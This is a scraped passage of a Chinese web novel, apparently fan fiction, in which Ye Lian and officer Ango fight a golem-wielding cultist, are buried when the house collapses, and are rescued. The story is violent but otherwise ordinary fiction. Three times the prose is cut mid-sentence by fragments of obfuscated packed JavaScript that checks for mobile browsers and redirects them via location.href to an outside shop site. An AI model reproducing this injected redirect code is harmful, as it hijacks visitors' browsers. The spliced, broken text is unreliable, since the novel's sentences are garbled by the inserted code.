“有声音吗?” 虽然叶涟时常表现得很怪异,但他的话,安吾并不会忽视。 然而安静了一段时间,也没有听见异常的声音。 安吾询问地看了一眼护卫,护卫摇了摇头。 “就是……” 叶涟的手抬起,如旋律般起伏着,嘴里也慢慢哼起曲子。 过了一会儿,他点着头,食指竖起,确信道,“罗密欧与朱丽叶——柴可夫斯基的作品。” “……什么什么斯基?” 护卫想了想,“我好像看过那个电影,哦、罗密欧,为什么你是罗密欧——” “那不是戏剧吗。”另一个护卫说,“莎士比亚的。” 安吾眯了眯眼睛,他没说话,走到叶涟身边,手按在他身侧的墙上。 倏地,他回过头,走到另一侧的墙边,抬头注视着天花板上的一只蜘蛛。 “把它拿下来。”安吾看向一个护卫。 护卫点点头,左右看看,拿起窗边的晾衣杆。 就在他们将注意力放在蜘蛛上的时候,叶涟的视线却是困惑地飘向了卧室。 卧室的门紧闭着。 虽然声音极其微小,如同幻觉,但他确实听见了…… 是因为饕餮称号的身体素质强化,顺便强化了听觉? 声音是从那边传来的。 叶涟挪动脚步,缓缓朝卧室靠过去。 小地图的边缘,赫然多出了一个红点! 25.第25章 “微型监视窃听设备,可远程操控移动……” 护卫戴着手套,娴熟地拆开了“蜘蛛”,辨认出了其作用。 安吾没有去触碰,让护卫将蜘蛛放进证物袋。 他一眼就能看出,这种设备是实时传输的类型,不用怕被发现——他人即使拿到手,也无法通过读取其中的数据。 不过……由于电池容量受限,续航很差。 这般微小的体积,顶多能使用不到一天。 而根据堕落论的信息,蜘蛛是在青木死前,就从门缝里爬进来的…… 也就是说,这个设备已经失去效用,完成了其使命。 想到这里,安吾的心逐渐沉了下去。 可能有未知的角色,录下了十六夜涟杀死青木的过程…… 倏地,安吾的精神一恍。 他的意志极其强大,且时刻保持着警惕,转瞬间就清醒了过来,眼神直直朝叶涟那边看去! 叶涟表现过催眠能力,他是知道的。 但十六夜君怎么会突然将这个能力用在他身上? 如果换三浦在这里,恐怕会举枪将叶涟当场击毙,但如今的安吾对叶涟还算信任。 只会怀疑他又神志不清了,亦或是…… 叶涟没有说话,手指了指卧室的门,然后屈起两根手指,在空气中做了一个小人走路的动作。 安吾立即明白了叶涟的意思—— 卧室里面有人! 这时候绕过防伪局封锁,擅自进入屋中的人,能是什么好人? 安吾先招了招手,示意叶涟走到自己这边,离卧室远一些。 而后,朝护卫打了个简单的手势。 两个护卫心领神会。 一个走在稍前的位置,其皮肤上亮起了银色的光泽,如金属正在发光一般。 他伸出手,碰了碰安吾和另一个护卫,安吾与另一个护卫的身周也亮起了银色光泽。 另一个护卫则走在稍后的地方,取出了枪,做出了准备战斗的姿态。 叶涟稍微睁大了眼睛。 虽然知晓这是有异能的世界,但这还是他第一次看见异能力。 某种使得人类的身体表层变化的异能? 似乎是变得坚硬——不知道和虎爪比起来怎么样。 也不知道,能不能抵御杀猪刀…… 等一下,为什么不给他也加持一下异能啊! 虽然是囚犯,但他也很需要被异能保护! 能力是皮肤金属化的护卫,并没有听见叶涟的心声。 实际上听见了也没用,他的异能上限就是加持三个人的防护。 其小心打开了门。 而后,空气突然变得奇怪起来。 叶涟感到一阵微妙的异样,就好像思维停滞了一下,然而那又好像只是错觉—— 两声枪响! 等一下,怎么就开枪了? 当他再将注意力集中在卧室那边时,这才发现,门已经完全打开。 “危险分子已击倒!” 那个持枪的护卫,不知何时竟已越过皮肤金属化的护卫,走进了卧室里面! 什么情况……瞬移? 不,不对…… 是时间类的异能! 察觉到这一点,叶涟都惊了。 长官的两个护卫,一个时间能力者,一个加持防御力的能力者。 再加上一个唰唰两下就收集了信息的长官…… 这谁打得过啊? 甚至不给敌人喊着友情啊羁绊什么的冲上来的机会,直接先下手为强了! 而且一交手直接开大—— 正常来说,不应该先喊话谈判一下,谈崩后再动手吗! 这个长官虽然很强却过分谨慎! “没打死吧?”安吾问。 他偏了偏头,绕过护卫的身影,看向卧室的地板。 一个留着银色长发的男子倒在地上。 其身穿很修身的外套,长发披散着,看不清面孔。 两枚无线蓝牙耳机随着其的倒下,掉落在地。 耳机的隔音效果很一般,门开启后,安吾也能隐约听见耳机中的旋律。 他的眼中闪过一丝异样。 因为里面的曲子,正是罗密欧与朱丽叶—— 和叶涟说的完全一致。 “没死、怎么可能打死,我打的只是小腹和腿而已……” 时间异能的护卫有些疑惑地走上前去。 怎么还有碰瓷的。 明明没打致死处,却整个人倒下了…… 他蹲下来检查—— 正常而言,护卫不会靠那么近,但有皮肤金属化的加持,即使对方有刀或者枪也无所谓。 然而,当他看清对方的脸,护卫立即意识到自己大意了。 时间再次短暂停滞,他骤然起身,猛退数步! 一个泥石制成的、足有人的脑袋大的拳头,擦着他的身前掠过! “这不是活人,这是土系傀儡——” 护卫扭头望向安吾。 也就是这时,他的瞳孔一缩。 “他在你们身后——” 下一瞬间,一声枪响! 这名有着时间异能的护卫,右眼爆出血花,当场身死! 安吾的反应极快,立即拉过叶涟,让他缩到沙发和小茶几之间,勉强以小茶几为掩体。 自身则仗着有皮肤金属化的加持,挡在叶涟身前,作为进一步的保护。 “志弦!” 异能为皮肤金属化的护卫哀哀地叫了一声时间异能护卫的名字,恨恨地掏出枪,指向开枪者。 【检测到图鉴人物,获得一次抽牌机会。】 【当前抽牌机会:5】 叶涟悄悄抬头,也终于看清了敌人的脸—— 有着长长银发的银瞳青年,绷带如帽子一般缠在他的头上。 其戴着耳机,微笑着收回枪,双手如执事一般优雅地背在身后: “护卫为护主而死,这就是最让人心满意足的事了,还有什么可强求的呢?” “混账东西、我要杀了你……” 护卫连开了几枪,都被从地板下钻出的砾石巨掌挡住。 他本身的异能就是侧重防御和辅助,进攻性并不强大,就算有敌人,一般也不会由他来进攻。 见枪支无法奈何银发青年,护卫直接将拳头金属化,朝青年击打过去! 叶涟望向安吾。 安吾正在……拿着什么设备求援?! 似乎已经求援完毕了! 仅几个瞬间就判断出局势不利,于是打不过就摇人…… 这也太稳健了吧……! 安吾的想法则复杂得多。 除去情况不利,他的心中还有一层考量。 那便是,之所以会造成如今的处境,很有可能是因为,自己这两位护卫的异能情报,已经被敌人知晓。 不管是用泥土傀儡骗去一次时停,还是知晓皮肤金属化的弱点在眼睛、对着眼睛开枪…… 都已经不是巧合能够解释的。 最大的可能,就是敌人对己方了如指掌。 然而,他的护卫,深知异能情报的重要性,一直很注意对于异能信息的保密。 不太可能是通过日常行动泄露出去,所以…… 局里,有内鬼? “当然,你们所效忠的对象,远不如鄙人的主人。” 银发青年扬起嘴角笑着,“你们只是出于从远古淌至今日的蒙昧,盲目地追随了尘俗而已,而我主,却是将为世界带来幸福的伟大之人。” 他从容地躲过护卫的攻击。 护卫再想前进,却发现自己脚下的地板不知何时,已经变成了一片泥潭。 腿陷入泥潭之中,缓缓地往下沉…… 他奋力挣扎,尝试抬腿,但他的能力能防下刀枪和子弹,却无法防下泥潭的拉扯。 根本无法行动! “放心吧,我会将你们带至彼岸,为我主献上一切。而你们,也将得到永恒的幸福……” 此时,银发青年的身周,石块环绕着他飘浮着、旋转着,作为全方位的立体护盾。 子弹没有办法对其造成任何有效杀伤。 除非…… 安吾的手藏在身后,手指握在枪柄上,子弹也已上膛。 “十六夜君……”他低声道。 “了解。” 叶涟咧嘴一笑,看向银发青年,“直视我,混球!你幸福了甚么!” 安吾:? 他只是想请叶涟催眠一下。 是否有点太嚣张了呢…… 不过,效果也是显而易见的。 银发青年直勾勾看向叶涟,就在这一瞬间,其身周的石块一下子停滞在了空中。 安吾迅速举枪,扣动了扳机! 一枪打在胸口心脏处,另一枪打在眼睛,两枪都打在致命处,绝不给敌人任何生还可能! 银发青年的身躯瘫软倒地。 【检测到与一位图鉴人物关系由“陌生”变更为“死敌”,获得两次抽牌机会。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167952|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【当前抽牌机会:7】 还得是精神攻击! 当然,安吾的配合也很重要。 “好枪法啊,长官。” 叶涟笑着,正想竖个大拇指,神情却隐隐一动。 “怎么了?”安吾注意到叶涟的异样。 “旋律变了。”叶涟低声道。 “什么……” “变成了欢乐颂,声音来源于……地下!” 地板剧烈地震动起来,连带着整栋房屋也开始晃动。 安吾伸手扶住墙壁,叶涟则蹲坐在小茶几和沙发之间。 紧接着,他们便看见,地面的装修材料开始崩坏,地板诡异地隆起、迅速膨胀—— 一个巨型泥石傀儡,缓缓破土而出! 银发青年戴着耳机,稳稳地站立在泥石巨人的头上,朝他们露出了不知该说是悲悯还是讥讽的笑容。 “崇高的主,我已收到了您的意愿——就让这些愚钝之人步入地狱,尽情后悔他们没能走上神圣幸福的道路吧!” 泥石巨人抬起巨大的手掌,朝安吾和叶涟拍来! 叶涟当即开唱安眠曲,安眠曲加上催眠的能力,果然让银发青年僵硬在原地。 可失去人类操控的泥石巨人,其手掌却是依然随着惯性,重重拍下! 叶涟死死盯着岩石巨手,准备更改催眠指令。 催眠师想“更改他人行为”,比“阻止他人行为”或“使他人陷入沉睡”要困难得多,更何况青年戴着耳机,他的歌声效果有所减弱。 但此刻,他也来不及做出别的选择。 就在这时,一个人影冲过来,以身躯挡住了泥石巨人的手掌! 是此前陷入泥潭的护卫——在奋力抵抗下,他终于成功挣脱了泥潭! 而安吾也再次抬起手枪。 子弹穿过巨人与飞舞的泥石土块,一枪打在了银发青年身上,血花四溅。 可惜,这次由于射击角度与地面的震动,子弹击中银发青年的腰部,将他打得退了数步,令其差点跌下泥石巨人的头顶,却没有击穿心脏。 在战斗的紧张场景以及剧痛中,银发青年很快就清醒过来。 他操纵着泥石巨人,一巴掌将护卫拍飞了出去! 安吾身上,象征守护的银色金属光芒骤然熄灭。 “愚不可及的抵抗。” 青年用手捂着伤口,有些狼狈,正想继续将安吾和叶涟拍死,神情却发生了细微的变化。 叶涟知晓其变化来源—— 旋律从欢乐颂,变成了马太受难曲! 这个银发青年的背后,有人在通过乐曲打信号指挥他! “罗密欧和朱丽叶”是假死,“欢乐颂”是从地下出来、全力进攻。 那么,“马太受难曲”会是什么…… “啊,何等的慈悲啊,鄙人能追随于此等存在,又是何等的幸福……再见了,你们这些无法理解主人的卑劣之徒。” 此时,泥石巨人已经穿破了天花板。 灰尘泥石、混凝土碎块,不停地从上方簌簌落下。 房屋震动着,似乎很快就要坍塌,可门的方向被泥石堵住,没有可以逃跑的地方。 银发青年坐在巨人的掌心中,居高临下地扫了安吾和叶涟一眼。 在漫天的尘灰里,叶涟福至心灵,突然明白了其话语的意味。 长官的求援起了效用,援兵很快就要赶到…… 所以这家伙,说的那么花里胡哨,但真实目的其实是—— 他想跑! 如果用催眠能力强行将其拖住,绝对是大功一件。 不仅能将杀死青木的嫌疑,推到银发青年以及其幕后人的身上,说不定还能加入防伪局。 如此,他就会拥有一个安全清白的身份,然后正式开始他的玩家冒险生涯,将伪人控制、收容、吃掉。 如此光明的未来,想想就令人激动。 不过在此之前,他需要考虑如何摘下银发青年的耳机。 否则,仅凭催眠是无法拖太久的,自己和长官反而会有危险。 但这也不是问题,他可以先催眠控制着其取下耳机,然后唱歌…… 叶涟的脑海中,万千思绪急转,在现实中不过一瞬。 也就是转瞬间,他倏地看见,安吾扶着的墙壁,已在泥石巨人的破土与挤压中,不堪重负地寸寸碎裂! 终于,如小山丘般的巨人完全从地下站了起来,来到了地表之上。 房屋开始扭曲,安吾脚下的地板,也裂开了一条恐怖的巨缝! 26.第26章 叶涟几乎没有任何犹豫,朝安吾那边扑过去! 他想抓住安吾的手,防止其掉下地缝。 然而,大地的晃动极其强烈。 随之而来的,是一整块地面都开始塌陷。 来不及多想,叶涟用手护住安吾的后脑,在地板的坍塌下,与其一同踩空坠落。 另一边,银发青年在泥石巨人的保护中离开了房屋。 因巨人的活动,房屋承重墙上的裂缝飞速蔓延。 窗户玻璃爆裂开,钢筋水泥弯曲成令人惊恐的形状。 终于,在巨大的声响中,整栋房屋带着无数瓦砾和尘灰,轰然倒塌! 此时,已是黄昏时分。 银发青年捂着身上的伤口,坐在泥石巨人的掌心,微笑凝望着远方的夕阳。 “能为主人效力,真是幸福啊……” 他看也不看身后的废墟,巨人抬起另一只手,用力朝废墟拍下! 杂乱的混凝土与砖块,如可丽饼皮般无力地瘫软下去,嘈杂的声响也化为了一片死寂。 昏黄的天地间,只有恢弘的马太受难曲,依旧悲悯而悠长。 夕阳的暖光,静静地勾起废墟的轮廓。 这是那些愚昧之人的坟墓。 是无法得到救赎之人的最终归宿。 …… 叶涟和安吾下坠了数米,重重地撞在了地底一片黑暗之处。 寂静之中,只有沉闷的呼吸声。 安吾深深地吸着气。 他的眼镜在坠落过程中不翼而飞。 不过,在这如墨般的漆黑之中,视觉也派不上什么用场。 痛、全身剧痛…… 安吾强行让自己冷静下来,分析当前的处境。 骨头大概是断了几根,内脏可能也有受损。 小腿被砖石压住了,无法动弹,手则还可以活动。 身体有擦伤的痛感,可能在流血。 耳边一阵嗡鸣,但还能听见声音。 十六夜君在他的上方…… 对了,房子倒塌下来…… 压在了……十六夜涟身上! 安吾的手勉强在黑暗中摸索。 很快,他就摸到了叶涟的头发。 叶涟的额头轻轻抵在他的肩膀上,似乎正轻微地颤抖着,能听见,其如砂纸相互摩擦般的异样喘气声。 没有死。 安吾稍稍松了口气。 可很快,他就察觉到不对。 以叶涟的性格,这种时候怎么会什么话都不说? 周围萦绕着浓郁的血腥味,还有那喘息声,声音听起来很不祥,就好像…… “十六夜君……?” 【检测到与一位图鉴人物关系由“熟悉”变更为“友好”,获得一次抽牌机会。】 【当前抽牌机会:8】 “哈……” 叶涟艰难地呼吸着。 每一次呼吸,都带着撕心裂肺的痛苦…… 字面意思上的撕心裂肺。 他的肺部,被什么冰冷的东西贯穿了。 如今还没有昏厥或死亡,仅仅是因为饕餮称号稍微强化了身体,而血肉艺术家的称号在锲而不舍地治疗着自身,吊着这条命而已。 然而,这般致命的伤势,血肉艺术家也只能拖延一小段时间。 死亡的阴影,逐渐靠近。 头脑,越发昏沉。 饿…… 分明来之前已经吃过一顿,可现在称号时刻运转,饿意随着血液的流逝,越发汹涌。 更要命的是,安吾就在他的面前…… 他几乎能闻到肉的香味,听见鲜血在血管中流动的声音! 又渴又饿……! 唱歌也许可以镇压一下疯狂的饿意。 可是,他如今连说话都困难,更别说唱出旋律。 “十六夜君。” 安吾试探地唤道。 “坚持一下,十六夜君,很快就会有人来救我们……” “……” 叶涟张了张嘴。 他发出一道短促的叫声,喉间漫上的腥甜再也无法控制。 温热的血如同找到了泄洪口,自唇齿间奔涌而出。 “……涟君!” 安吾上身的衣服布料,瞬间被叶涟吐出来的血浸透了。 一种黏腻的感觉,缓缓地顺着胸口、肩膀,往他的锁骨和脖颈处流淌延伸。 生命正在流失。 衣服上、皮肤上、地面上,到处都是温热又好像随时会凝固的血…… 安吾意识到那个极其可怕的事实,身体不自觉地颤抖起来。 他伸出手去,在黑暗中摸到了叶涟的脸。 然后是手臂。 叶涟的手顽强地撑着地面,脊背抗住了墙板,为他构筑了一个不被混凝土块压住的、可喘气的空间。 再往下是…… 一根钢筋。 穿透了涟君的身体的…… 安吾的脑海嗡地一下炸开,清晰残酷的现实传来一阵阵超现实的晕眩感。 他慢慢地握住那根钢筋,怪异地没有感觉到冰冷坚硬。 掌心一片湿黏。 就仿佛抓着的是某种会呼吸的菌类,而不是金属。 一种十足恐怖的感觉…… “涟君……” 安吾清楚,这种伤势,代表着叶涟的生命已经进入了倒计时。 最多几分钟,甚至几十秒、十几秒…… 涟君就会成为一具尸体。 “不能睡,保持清醒,只要与谢野医生赶过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173232|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,我们就能得救……”安吾苍白无力地说着。 但这只是自欺欺人的谎话。 因为他并没有朝侦探社求援,与谢野几乎不可能出现。 就算与谢野恰巧在防伪局,又恰巧心情好,顺道过来,但赶到这里,最快也要十来分钟。 时间总是有时流逝得太快,有时又太慢,在这度秒如年的地方,叶涟怎么可能撑得到那时候。 那根钢筋肯定是伤到了涟君身体内部的脏器,才会让其出现呼吸上的异常。 更何况,除去穿透伤,还有坠落伤和撞击伤,以及各种擦伤…… 叶涟挡下了倒塌的房屋,伤势一定比他更加严重。 安吾闭了闭眼。 明明该由他保护叶涟的。 青木的任务里有保护十六夜涟,说是为保护涟君而死也不为过。 要说杀死青木的凶手,三浦说的反而很正确…… 他这个将任务交给青木的人,才是真正的凶手。 不管怎么想……根本没有叶涟保护他的道理。 “涟君。” 安吾听着叶涟的呼吸声。 他逐渐下定了某种决心,心情反而平静了下来。 “你有某种以进食强化自身的能力,对吗?” 叶涟没有回答。 他已经无法组织语言,甚至无法认真思考安吾在说什么,更无法想到安吾话语背后的意味。 保持呼吸,克制食欲,已经让他竭尽全力。 安吾长呼一口气,慢慢抬起了手。 “如果感到无法支撑下去的话,涟君……” 他挽起自己的衣袖,将手臂轻轻贴在了叶涟的唇前。 “你就吃掉我吧。” “……” 叶涟的身体,瞬间像被冻住了一般僵硬。 旋即,他的面部肌肉剧烈地抽搐起来,牙齿不受控制地打着颤,以至于其的脸显得十分狰狞。 安吾的血肉就在他的面前。 但是他怎么可以…… 怎么可以。 一种一直被压抑着的情绪,骤然决堤! 无论是怀疑、恐惧还是死亡,都没有让叶涟哭泣过。 可此时,他的喉咙里发出了低低的呜咽。 思维,扭曲的思维,蠕动着。 叶涟机械般张开了嘴,堪称凶狠地咬下! 安吾痛得轻吸一口气,但他很快就忍住了,强行不让自己发出声音。 然而,叶涟非但没有继续咬合,反而慢慢地松开了牙齿。 他紧抿着嘴唇,堪称温柔地,轻轻贴在安吾的手臂上。 血从叶涟的唇缝满溢而出,有他的血,也有安吾的血,顺着牙印蜿蜒流淌。 一时间,只有呼吸声,静静地在黑暗里回荡。 27.第27章 【检测到所剩的抽牌机会大等于五,是否使用“高级抽牌”?】 【输入消耗的抽牌次数/下次抽取】 叶涟的意识痛得模糊。 他顾不得思考,使用了所有抽牌次数。 【正在抽牌……】 漆黑的卡牌在黑暗中散发着微光。 叶涟的眼睛睁开一条缝,注视着卡牌的抽取过程,转移自身注意力。 这种东西就不能整一个跳过吗…… 抽牌结束,叶涟也没有力气细看卡牌上字符的长度了。 他随便选了一张,卡牌瞬间化为黑色的流光钻入他的脑海。 【恭喜获得“三刻构想”称号礼包:包含“称号·白日提灯人”,“称号·黄昏处刑官”,“称号·雨夜屠夫”。】 【“称号·白日提灯人”:佩戴该称号时,获得专家级医术。展开提灯领域,你可阻止方圆五米内生物的一切伤势或病情恶化,包括致命伤。若非致命伤,伤口将自发疗愈。 并同时获得“提灯意志”。提灯意志:你充满希望,并愿意守护他人的生命。】 【“称号·黄昏处刑官”:佩戴该称号时,成为身披猩红长袍,头戴兜帽,手握黄金镰刀的实体,身体素质增幅百分之百。可对罪人实施无法摆脱的持续追击,随着追击时间的延长,罪人将不可抗地感到恐惧。罪人越恐惧,你的攻击越强大。 每在黄昏时分处刑一名罪人,可获得百分之一的身体素质永久提升(不佩戴称号依然有效),上限为提升百分之百。 但同时获得“审判思维”。审判思维:所有人形生物都是需要审判的罪人。】 【“称号·雨夜屠夫”:佩戴该称号时,若环境为雨夜,身体素质得到全方位大幅提升。 但同时获得“杀戮思维”。杀戮思维:所有人形生物都是你的猎物。】 三刻构想?什么意思。 提灯人……是提灯女神南丁格尔的提灯? 处刑官为什么会有黄金镰刀啊,收割不是死神的活吗…… 雨夜屠夫,好熟悉…… 以前是不是拿到过来着。 之前拿到这个称号,似乎没发生什么好事…… 也不能这么说,毕竟好事基本就没有发生在他身上过。 上天待他特别薄,一点儿都不厚! 除了长官…… 怎么会有这种家伙。 剧本不应该是自己英雄救美,然后长官感动流泪,哭着喊着要一天请自己吃八顿饭吗……! “吃掉我吧”这种话…… 即使是至亲之人,也很难说出口吧。 对正常的人类而言,光是想想自己会“活生生被吃掉”,就该恐惧得发抖。 长官却能如此坦然地说出来…… 真搞不懂。 在过量的痛苦中,叶涟的意识仿佛抽离出身躯,很是飘忽不定。 思绪杂乱而跳脱,脑海如走马灯般,闪过零零散散的记忆。 “涟君……” 想着想着,叶涟听见,有谁在轻轻呼唤他,手指穿过他的发丝。 他的头脑一下子清醒了。 对了,现在还在废墟里呢…… 他将“白日提灯人”的称号戴上,顿时感觉身体中涌出温和的暖意。 提灯领域,展开! 本来因失血而发麻发冷、逐渐失去知觉的身体,缓缓回温。 常人无法忍受的痛苦,也稍微有所减轻。 有这个称号在,命就能勉强维持住。还有长官、在领域内,长官的伤势不会恶化,不至于流血死亡。 只要等到救援,一切都会好起来。 叶涟的嘴角,浅浅地扬起一个染血的笑容。 既然他的命保住了…… 那么,那个让他如此狼狈的家伙,就该死了。 …… 一辆摩托在黄昏的街道上疾驰,引擎发出响亮的轰鸣。 与此同时,防伪局的警车也在往废墟的方向赶,太宰和国木田坐在车后座,与谢野坐在副驾驶。 “那栋屋子里,应该没有有价值的东西了吧?” 国木田手中拿着一个小本本,但他的视线却放在窗外的建筑上: “犯罪分子真的会返回那里吗?” “说不准。” 与谢野平视着前方,“有些东西,在我们看来并无价值,但在另外的人眼中就别有意义。” “也许不是为了物品,而是为了人呢。” 太宰的目光,随着窗玻璃上的夕阳光影移动着。 太阳的光点在他的眼中跳跃,他伸出食指,指腹贴在窗玻璃上。 “人?”国木田偏过头。 “没错……唉呀,既然乱步先生让我们过去,总归是有道理的啦——” 太宰的脸上扬起一个微笑。 他屈起手指,弹了弹玻璃,发出一声脆响。 不过,当他们抵达目的地,太宰的笑容立即就敛了下去。 为什么那家伙会在这里啊…… 远远地,可以隐约看见一个黑衣的身影。 橘发青年头戴圆顶黑帽,正低头比对着自己收到的定位信息。 是这里没错…… 怎么是一片废墟? 这种程度的废墟,人类有可能在里面求救吗? 定位错了,还是……? “看来是来迟一步。” 国木田下了车,凝重地望着废墟。 不久前,这里还是十六夜涟的家,一栋完整的房屋。 要怎样的战斗,才能把房屋打塌,且塌得如此破碎? 一片狼藉,仿佛被什么碾过去了一样…… “里面不会有人吧?”与谢野皱着眉。 “恐怕是有呢——”太宰说。 “仅凭我们几个,没法实施救援。” 与谢野抿了抿嘴,“至少得叫贤治过来。” 有少数市民不怕死,围在附近凑热闹,拿着手机拍摄,低声谈论着,还有人似乎在报警。 不过也仅限于凑热闹。 没有人敢靠近废墟—— 不怕死和主动找死,人们还是分得清的。 “仅凭我们几个,确实没法清理……” 太宰轻轻吐了口气。 “但在这方面,用不到我们……有他就够了。” “什么?”与谢野疑惑道。 没等太宰回答,她就明白了太宰的意思。 那站在废墟前,身形很不起眼的橘发青年,缓缓抬起了手。 下一秒,无数瓦砾碎石、混凝土块,竟从地面飞起,悬浮在空中! 不过数秒,废墟便被削去了厚厚一层! 橘发青年微微皱眉。 没人……? 埋那么深? 不会死了吧…… 心中抱着不好的预感,青年也顾不得周围有路人在看……反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178139|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异能科会善后。 他再上前半步,一只手压了压自己的帽檐,另一只手掌心朝上,再次抬高。 瞬间,砖瓦断墙拔地而起! 大量破碎的砖石、残破而沉重的建筑材料,如同被他那手掌托举起来了一般,全部飞到了空中! 而此时,人们也终于能够看见,被掩埋在废墟之下的情景。 披着灰色外套的叶涟,外套已经分辨不出原本的颜色,浸满了尘灰与鲜血,从头到脚,几乎变成了一个血人。 然而,即便如此,他依然双手抵着地面,一动不动…… 整个人如拱桥一般,死死地护着身下的另一名青年! 所有人都沉默了。 砖石被移开,光线照进来。 安吾眯了眯眼睛,恍惚了一瞬。 他看不清叶涟的脸,只能看见蓬乱的、满是污血的黑发,安静地抵在他的身前。 “涟君……涟君,快醒醒,有人来了,救援的人来了,我们有救了……” 安吾的手在发抖,他轻轻捧住叶涟的脸。 橘发的、名为中原中也的青年,走向前去,一边行走,一边清理废墟杂物。 而另一边,侦探社的三人也快步向前。 与谢野的心越来越沉—— 她从很远的地方就看见了那根贯穿叶涟身体的钢筋。 那里……大概是心肺的位置? 这种伤势,根本不可能活命! 中原中也走近,谨慎地看着这一幕。 他不知道该不该将钢筋抽离—— 贸然抽离的话,可能会对叶涟造成更严重的伤害。 “把钢筋拔出去吧。” 太宰低声道,“如果还活着的话,有与谢野医生在,拔出去或者不拔出去都无所谓。如果已经死掉……那也都无所谓了。” “……” 这家伙怎么在这。 听见熟悉的声音,中原中也稍稍扭过头。 不过他知道救人要紧,只是“啧”了一声,便小心翼翼地将那根钢筋抽离出去。 “还有气……” 与谢野伸手试了试叶涟的鼻息,眼中闪过诧异的神色。 “涟君,可以放松点了。”安吾低声道。 然而叶涟并没有回话。 与谢野上前,想让叶涟的身体不那么紧绷着,也没能做到。 他已经在剧痛、以及得到称号后心知不会死亡的骤然放松下,昏迷了过去。 仅仅是凭着意识模糊前的执念,维持着保护的姿态。 中原中也和与谢野小心地将叶涟抱起来,放到一旁。安吾则忍着浑身的剧痛,缄默地爬起来,支起身体,出神地注视着叶涟,下意识抬手,将其额前散落的碎发别到了耳后。 叶涟闭着眼睛,脸上满是鲜血,嘴角却勾着浅淡的笑容。 就好像没有受伤也不是昏迷,只是在做着某种美梦一般。 亦或是,只要安吾还活着,对他而言就已是足够。 实施救援的几人不可避免地被这微笑震慑,陷入了漫长的无言。 只余微风,静悄悄地吹过。 …… 【检测到图鉴人物,获得一次抽牌机会。】 【检测到与四位图鉴人物关系由“陌生”变更为“熟悉”,获得四次抽牌机会。】 【当前抽牌机会:5】 【是否立即抽取卡牌?】 【是/下次抽取】 28.第 28 章 叶涟的额头满是冷汗。 黑暗之中,似乎有很多双眼睛注视着他。 还能隐约看见一颗太阳,挂在暗紫的天空上,呈现幽绿的、和系统字符一样的颜色。 他想大声呼喊,却怎么也无法喊出声音。 太阳像蚕蛹一样蠕动着,缓慢而无法抗拒地扩大、再扩大…… 逐渐吞噬了一切。 过去了好一会儿,叶涟才慢慢掀起眼皮。 原来是做梦…… 奇怪的梦。 应该是失眠思维的影响? 他的眼珠缓缓转动。 如今所处的房间,和此前待过的所有房间都不同。 大概是一间休息室。 墙角摆着绿植,窗户十分明亮,木质的百叶帘打开着。 明媚的阳光自窗外照进来,整个房间都充满令人放松的暖色。 床铺躺得很舒服,不像囚室那般冷硬,被子也柔软蓬松,飘着浅淡的花香味。 叶涟下意识摸了摸胸口,又摸了摸自己的脑袋。 没有伤口。 没有任何痛苦的感觉。 皮肤也相当清爽,身体已经被清洗过了。 果然是有治疗类的异能者…… “比预计的早醒了两个小时。” 国木田端正地坐在窗旁的小沙发上。 见叶涟醒来,他合上手中的书,站起身: “做噩梦了?” “饿了。”叶涟点头道。 国木田:……? 别人问东你答西。 怎么会有人能把噩梦听成饿梦……? 这小子该不会梦里食人吧。 不不,国木田啊国木田,你不能对他人有先入为主的偏见。 “哦哦你说噩梦吗……没有噩梦。” 比起重伤、死亡,以及暴雨夜窗户贴上来一张苍白的脸,那还称不上噩梦。 充其量只是怪异了点而已。 叶涟用被子将自己裹成一根蛋卷,在柔软的床铺上舒舒服服地滚了两滚,又长长地吸气、呼气,再吸气、再呼气。 似乎是想把之前没睡到的床,以及被压在废墟下、因肺部受伤而没能使劲的呼吸,统统补回来。 果然还是得劫后余生,才能感觉到活着的舒坦…… 他将脸埋在柔软的枕头里。 这才是真正的幸福啊……那个银发男懂什么! 唯一美中不足的,就是没有食物。 头脑中刚闪过这般想法,叶涟便闻见了食物的香气。 他转头一看,国木田递过来一份炒面面包。 面包里夹炒面,碳水加碳水的神奇组合。 但叶涟不挑食。 他一个鲤鱼打挺,惊喜地坐起身,挣扎着将从被卷里伸出一只手。 “竟然还是热的……” 国木田显然不知道他会在这个时候醒来,不会提前准备。 所以是听他喊饿,把本来计划自己吃的餐食投喂给了他? 看起来严肃,但本质也是很善良的人嘛…… 叶涟嗅着炒面的香气,一口咬下。 不如肉食称他心意,却也十分美味! 吃着吃着,国木田又递过来一包烤鲑鱼片。 “给我配着炒面吃吗,谢谢——” 叶涟笑眯眯地接过。 然后是一瓶波子汽水。 “正好渴了,真是派上了大用场!” 紧接着是巧克力麻薯。 “餐后甜品?好有仪式感!” 再之后,是冻干草莓、抹茶曲奇、鲜虾片、芥末味蚕豆…… 